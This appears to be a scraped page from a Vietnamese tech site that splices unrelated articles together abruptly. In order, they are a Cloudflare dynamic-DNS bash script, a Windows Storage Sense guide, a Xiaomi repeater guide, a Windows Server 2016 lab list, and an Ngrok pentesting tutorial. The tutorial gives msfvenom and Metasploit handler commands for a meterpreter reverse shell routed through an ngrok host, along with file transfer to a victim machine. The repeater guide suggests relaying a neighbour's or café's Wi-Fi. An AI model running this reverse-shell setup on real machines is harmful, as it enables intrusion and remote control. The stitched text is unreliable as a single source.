Join the channel Telegram belong to AnonyViet 👉 Link 👈

sudo apt update
sudo apt install -y curl jq

cd ~
mkdir -p cloudflare
cd cloudflare
nano cloudflare.sh

#!/usr/bin/env bash

# ================== CẤU HÌNH ==================
CF_API_TOKEN="YOUR_API_TOKEN_HERE"
CF_ZONE_ID="YOUR_ZONE_ID_HERE"
CF_RECORD_NAME="lab.anonyviet.com"   # Tên đầy đủ của record (FQDN)

IP_FILE="$HOME/cloudflare/current_ip.txt"
LOG_FILE="$HOME/cloudflare/cloudflare.log"

# ================== HÀM HỖ TRỢ ==================

log() {
  echo "$(date '+%Y-%m-%d %H:%M:%S') - $1" >> "$LOG_FILE"
}

mkdir -p "$(dirname "$IP_FILE")"

# ================== LẤY IP PUBLIC ==================

CURRENT_IP=$(curl -s https://ipv4.icanhazip.com | tr -d '\n')

if [[ -z "$CURRENT_IP" ]]; then
  log "Không lấy được IP public, dừng."
  exit 1
fi

OLD_IP=""
if [[ -f "$IP_FILE" ]]; then
  OLD_IP=$(cat "$IP_FILE")
fi

if [[ "$CURRENT_IP" == "$OLD_IP" ]]; then
  log "IP không thay đổi ($CURRENT_IP), bỏ qua cập nhật."
  exit 0
fi

log "IP thay đổi: $OLD_IP -> $CURRENT_IP, bắt đầu cập nhật Cloudflare."

# ================== LẤY RECORD ID ==================

RESPONSE=$(curl -s -X GET \
  "https://api.cloudflare.com/client/v4/zones/$CF_ZONE_ID/dns_records?type=A&name=$CF_RECORD_NAME" \
  -H "Authorization: Bearer $CF_API_TOKEN" \
  -H "Content-Type: application/json")

RECORD_ID=$(echo "$RESPONSE" | jq -r '.result[0].id')

if [[ -z "$RECORD_ID" || "$RECORD_ID" == "null" ]]; then
  log "Không tìm thấy DNS record cho $CF_RECORD_NAME"
  exit 1
fi

# ================== GỬI YÊU CẦU CẬP NHẬT ==================

UPDATE_PAYLOAD=$(jq -n \
  --arg type "A" \
  --arg name "$CF_RECORD_NAME" \
  --arg content "$CURRENT_IP" \
  --argjson ttl 120 \
  --argjson proxied true \
  '{type: $type, name: $name, content: $content, ttl: $ttl, proxied: $proxied}')

UPDATE_RESP=$(curl -s -X PUT \
  "https://api.cloudflare.com/client/v4/zones/$CF_ZONE_ID/dns_records/$RECORD_ID" \
  -H "Authorization: Bearer $CF_API_TOKEN" \
  -H "Content-Type: application/json" \
  --data "$UPDATE_PAYLOAD")

SUCCESS=$(echo "$UPDATE_RESP" | jq -r '.success')

if [[ "$SUCCESS" == "true" ]]; then
  echo "$CURRENT_IP" > "$IP_FILE"
  log "Cập nhật thành công bản ghi $CF_RECORD_NAME -> $CURRENT_IP"
  exit 0
else
  log "Cập nhật thất bại. Phản hồi: $UPDATE_RESP"
  exit 1
fi

chmod +x ~/cloudflare/cloudflare.sh

./cloudflare.sh

tail -n 50 ~/cloudflare/cloudflare.log

crontab -e

*/5 * * * * /bin/bash /home/USERNAME/cloudflare/cloudflare.sh >/dev/null 2>&1

For those who are using laptops, the situation of full hard drive space is no longer rare. When users store a lot of data or install too much software, the hard drive does not have enough capacity. Especially for low-cost models, manufacturers often attach a low-capacity drive to save costs. Users today often add an SSD to speed up Windows 10, but SSDs have a high cost but low capacity. To solve the problem of junk files taking up a lot of storage space, Windows 10 the feature has been released Storage Sense.

Configure Storage Sense to automatically delete junk files to increase hard drive space

Windows 10 now allow you automatic delete old data according to a set schedule. This is a useful feature, especially for Windows 10 users whose laptops have a small hard drive, especially if using a hard drive. SSD. This saving storage feature is called Storage Sense.

To turn on the mode Storage Sense you follow these steps:

• Enter Settings => System => Storage and turn on the button Storage Sense go up.
• Click on Change how we free up space automatically

Run Storage Sense:

You choose the time for Windows to schedule junk file deletion. You can choose to scan by: daily, weekly, monthly or let Windows decide for itself. If you use the drive SSD then you should let every month. If the hard drive has a large storage capacity, select When Windows decides. Windows will decide when to delete junk files.

Temporary Files: gives you the option to free up hard drive space:

Normally, the 2 folders that always take up the most hard drive are Trash can and folder Download. You often download and use it but forget to delete them. Windows 10 has allowed you automatic scheduling to free up space for these 2 folders. You can choose to delete unused data within 1 day, 14 days, 30 days or 60 days.

You need Check enter Delete Temporary file that my apps aren’t using.

• Delete files in my recycle bin if they have been there for over: empty the recycle bin (Empty Recycle bin)
• Delete files in my Downloads folder if they have been there for over: delete the downloaded file in the Download folder

Free up space now: Free up hard drive space immediately

Storage Sense It also allows you to free up space instantly. If you have too little hard drive space left. The . button can be clicked Clean Now Let Windows do the cleaning. It takes a few minutes for Windows to calculate the data to delete. And the hard drive will increase the free space quickly.

Windows already has tools available Storage Sense to assist you in clearing junk data. So you don’t need to install any more junk scanning software half. Just choose the right time, Windows will automatically free up hard drive space for you. Feature Storage Sense essential if you use a low capacity SSD or your hard drive is running low on storage.

Install the most complete Wifi Xiaomi Repeater version 2

Hello friends, today I will come to you with an article about network devices Wifi Xiaomi Repeater version 2. Used to broadcast for Wifi, and fully configured including Wifi name and Password, and hidden SSID (Wifi name) feature.

What is repeater?

First we need to find out what a Repeater is. Repeater is a network device retransmit a signal received effective amplify the area and strength of the Wifi broadcast compared to the signal of the original original device.

Using the Repeater device, you do not need to pull network cables to the device, all configurations are installed via Wifi, thus solving the aesthetic needs of the house, and mobility when you want to move. device transfer

I take this simple example

Example of expanding Wifi for home, office, company

Your house has 3 floors, but the post office pulls an Internet Modem with built-in Wifi on the ground floor. Then your Wifi is only enough to broadcast for the ground floor and 2nd floor

==> The 3rd floor is completely unable to catch the wave, or the wave is very weak.

Purpose Your question now is how to get Wifi signal on the 3rd floor, but no need to drag the cord. So please use Modem or USB devices with Repeater function located on the 2nd floor, so that you can connect to the 3rd floor or the terrace.

Example of taking a neighbor’s Wifi or a coffee shop to make your home Wifi

If there is a cafe near your house, but in your house, it is very weak or can not catch wifi from that cafe, then take advantage of the repeater function to increase the ability of Wifi coverage to your home.

Just place the device with the signal amplification function in the middle position (such as in the front yard, or on the terrace) as a bridge to transmit wifi from the cafe to the house.

Which Repeater device should I choose?

In my opinion, there are many devices nowadays USB repeater The price on the market is only about 90k to 200k, in addition, you can take advantage of Wifi Routers like TPLINK WR740N, or TPLINK 841...

In batches Flash sale on Shopee Recently, I bought 3 most popular devices today Mercuri , TOPOLink, WIFI Xiaomi Repeater Version 2 in the price range of about 109k. According to my self-examination, I see Mercuri More simple configuration than Wifi Xiaomi Repeater Version 2. But in terms of broadcast stability, I think Xiaomi more stable and faster Mercuri .

Configure Wifi Xiaomi Repeater Version 2

The configuration of each type of device follows the manufacturer’s instructions. Most people plug the device into an electrical outlet, then access the device’s IP to configure it.

But for Xiaomi devices, you must configure it on the MiHome application installed on the SmartPhone.

After downloading, create a Xiaomi account to manage all Xiaomi devices, very convenient if you later use all Xiaomi devices for your smart home.

Install Locate

When installing MiHome, please note that you must Locate to be Mainland or China then you can use all the features of MiHome to install Wifi Xiaomi Repeater Version 2.

If you have chosen Locate as another country, go to Profile -> Settings -> Locate and then choose again Mainland

Adding devices to MiHome

To start the configuration, you need to Add the device. You return to the main screen and press the sign + in the upper right corner to add a new device

Then choose the right type of device Mi Wi-Fi Repeater 2 as shown below

Configure the device to broadcast Wifi

On the next screen, check the box Yellow light blinking

Select the correct Wifi name you need to expand the broadcasting range, then enter the password of that Wifi name then select “Next”

Next, select Go to set Wi-Fi to switch to the Wifi connection on the phone

You double-click the home button on the iPhone screen to go to the settings then select the WiFi of the Xiaomi Mi range extender.

– Then go back to MiHome application and wait for connecting.. to finish, Select “Experience”

When it reaches 100%, you will see a successful connection message Connect success.

(If at this stage it reports to 100% but fails, then please change Locate to mainland as I instructed above)

Now click on Experience

The interface to reconfigure the Wifi name or change the password for the Repeater unit

When the configuration is successful, you go to search for Wifi on your phone or laptop and you will see an additional Wifi wave column with the word _plus behind.

In just a few simple steps, you can increase the broadcast capacity of your home Wifi. Good luck

Following the generation of Windows Server 2012, Microsoft has released a version of Windows Server 2016 with more innovative and powerful features, compatible with virtualization environments, and cloud computing.

Fortunately, AnonyViet has collected almost a complete set of Labs for Windows Server 2016 (equivalent to MCSA) to serve network administrators to capture and configure Server in the most efficient and fastest way.

New features of Windows Server 2016

The content in this section describes what’s new and changed in Windows Server 2016. The new features and changes listed here are the ones that are likely to have the biggest impact as you work with this release.

The virtualization area includes virtualization products and features for IT professionals to design, deploy, and maintain Windows Server.

Hyper-DRAW

• What’s New in Hyper-V on Windows Server 2016. This topic explains the new functionality and changes of the Hyper-V role in Windows Server 2016, the Hyper-V client running on Windows 10, and Microsoft Hyper-V Server 2016.
• The Containers window: Windows Server 2016 support contains additional performance improvements, simplified network management, and support for Containers on Windows 10.

Identification and access

New features in Identity improve the ability for organizations to secure Active Directory environments and help them transition to cloud-only and hybrid deployments, where a number of applications and services are hosted in the cloud and others hosted on premises.

Administration

The management and automation area focuses on tools and reference information for IT professionals who want to run and manage Windows Server 2016, including Windows PowerShell.

Windows PowerShell 5.1 includes significant new features, including support for development with new classes and security features that expand its use, improve its usability, and allow you to Control and manage your Windows-based environment more easily and comprehensively.

Nano server

NanoServer Recovery Console.

Nano Server saves resources by up to 92% compared to the Windows Server graphical user interface (GUI) installation option. Beyond just that, here are some compelling reasons to start running Nano for at least some of your Windows Server workloads:

• Bare-metal OS only starts essential services
• Nano is so small that it can be transferred easily across servers, data centers and physical sites.
• Nano hosts the most common Windows server workloads. Including the Hyper-V host, of course.

Nano is designed to be fully managed remotely. However, Nano does not have a user interface, it is represented on a command line interface called “Nano Server Recovery Console”.

Contents of Lab Windows Server 2016

Below is the content of all Lab articles about Windows Server 2016. Labs are recorded in video, exe format so you don’t need to install any additional software.

1.1 Installing HDH Windows Server 2016 Datacenter (Full Installation)
1.2 Configure NIC Teaming
2.1 Configure Domain Controller and Join Domain
2.2 Configure Additional Domain Controller
2.3 Child Domain Configuration
2.4 Configure Read Only Domain Controller (RODC)
3.1 Create Objects in Active Directory and OU . Admin Authorization
4.1 Creating objects in Active Directory through PowerShell
4.2 Use PowerShell Script to create bulk accounts
4.3 Manage files and folders using Powershell
5.1 Configure Enable Routing and Remote Access feature
5.2 Implement Static Routing Configuration on Windows Server 2016
5.3 Deploy Dynamic Routing Configuration on Windows Server 2016
6.1. Install and configure the DHCP Server service in conjunction with AD
6.2. Install and configure DHCP Relay Agent
6.3. DHCP Server Backup and Restore
7.1 Configure DNS Server (Primary Name Server)
7.2 Deploy Backup DNS Server (Secondary Name Server) configuration
8.1 Install and configure drive partition management
8.2 Soft Raid Configuration
9.1 Basic Group Policy Objects Policy Deployment
9.2 Configure user account policy
10.1 Configure Sharing and Permissions NTFS
10.2 Configure Home Folder
10.3 Configure Roaming User Profile
10.4 Offline File Configuration

Download link

To download all the exercises about Windows Server 2016, please download from the link below.

If you have problems with the download process, do not hesitate to notify AnonyViet to fix the link

Download link

Ngrok is a tool to help you bring services on your computer to the Internet without having to NAT Port or reveal your Public IP. Ngrok is one of my favorite tools and in this article, I will show you a few ways that I used Ngrok during Pentest.

Configure Ngrok

To use Ngrok, you need an account. Access https://ngrok.com/ and create an account by email or use the Google | . option Github Oauth. Next, download the Ngrok installation file by going to Setup & Installationthen right click option Download for Linux and copy the link address:

Next, go to the terminal of the attacker machine and wget Ngrok ZIP file. Then unzip, add execute permission and finally move the Ngrok file to /usr/local/bin/:

cd /tmp
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
sudo mv ngrok /usr/local/bin/

NOTE: The above link is likely not working for you. Use the link you copied from the Ngrok homepage.

Configure AuthToken

Now that you have Ngrok installed, we need to provide Ngrok with the authentication token provided in Ngrok’s web site. Access the Your Authtoken tab from within your account:

And then copy the Authtoken:

Finally, run the following command to configure Ngrok to use this Authtoken:

ngrok authtoken 'AUTHTOKEN_GOES_HERE'

Ngrok for Pentester Use Cases on Kali Linux

Here are some use cases of Ngrok in the Pentest process.

File transfer using Netcat

Transferring files to a machine that is not on your local network is not possible but until you know Ngrok. To provide the Netcat service over the Internet with Ngrok, perform the following steps:

1. Set up a Netcat listener on a port of your choice

2. Run Ngrok with the tcp command and specify the port you used to start Netcat

After pressing enter, Ngrok’s session status dashboard will appear from where you can get the URL:

3. On the target machine, use the URI provided by Ngrok to transfer the file using Netcat. Note that the tcp:// URI is not used when specifying the URL for Netcat. And don’t forget to remove the : and replace it with a space:

File transfer using HTTP server

Sometimes you want to transfer files using simple HTTP servers like Python’s http.server module. To transfer files from your local machine over the Internet using a locally hosted HTTP server, perform the following steps:

1. Start the HTTP server on the port you want

2. Run Ngrok with http command and specify the port you used to start the HTTP server on

3. On the target machine, use the URI provided by Ngrok to download the file

curl -o file.txt a96c-73-30-177-39.ngrok.io/file.txt

Metasploit Reverse Shells over the Internet

Creating a Msfvenom payload with a local IP address restricts you by only allowing you to generate payloads for local machines. To create a payload for a remote machine that reconnects over the Internet to your local Metasploit, perform the following steps:

1. Run Ngrok and specify the local port on which the handler should listen

2. Start the Metasploit handler and configure the ReverseListenerBindAddress and ReverseListenerBindPort options so that when they connect, they forward traffic to localhost:4444:

use exploit/multi/handler
set lhost 6.tcp.ngrok.io
set lport 16737
set payload linux/x64/meterpreter/reverse_tcp
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 4444
run -j

3. Create the Msfvenom payload and specify the URI provided by Ngrok as the LHOST . parameter

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o revsh LHOST=6.tcp.ngrok.io LPORT=16737

4. Transfer the file to the victim machine and then run the payload. You should get the connection back on your local Metasploit handler:

NOTE: Be careful when using Ngrok for reverse shells. If left unchecked, you could unknowingly expose your customers’ networks to the bad guys.

Service Interaction Vulnerability Check

Testing for external server interactions such as server-side request forgery (SSRF) can be quickly accomplished using Ngrok. Just create an Ngrok listener on any port you want and then use the provided URL to include potentially vulnerable parameters like HTTP headers, URL redirect parameters, etc. to try Try to find the OOD service interaction vulnerability:

Then we can simulate an OOB service with cURL:

As you can see, several GET requests were sent to the Ngrok listener, which can be used to confirm vulnerabilities like SSRF.

In addition, you can also use RAT without opening the Port with Ngrok here.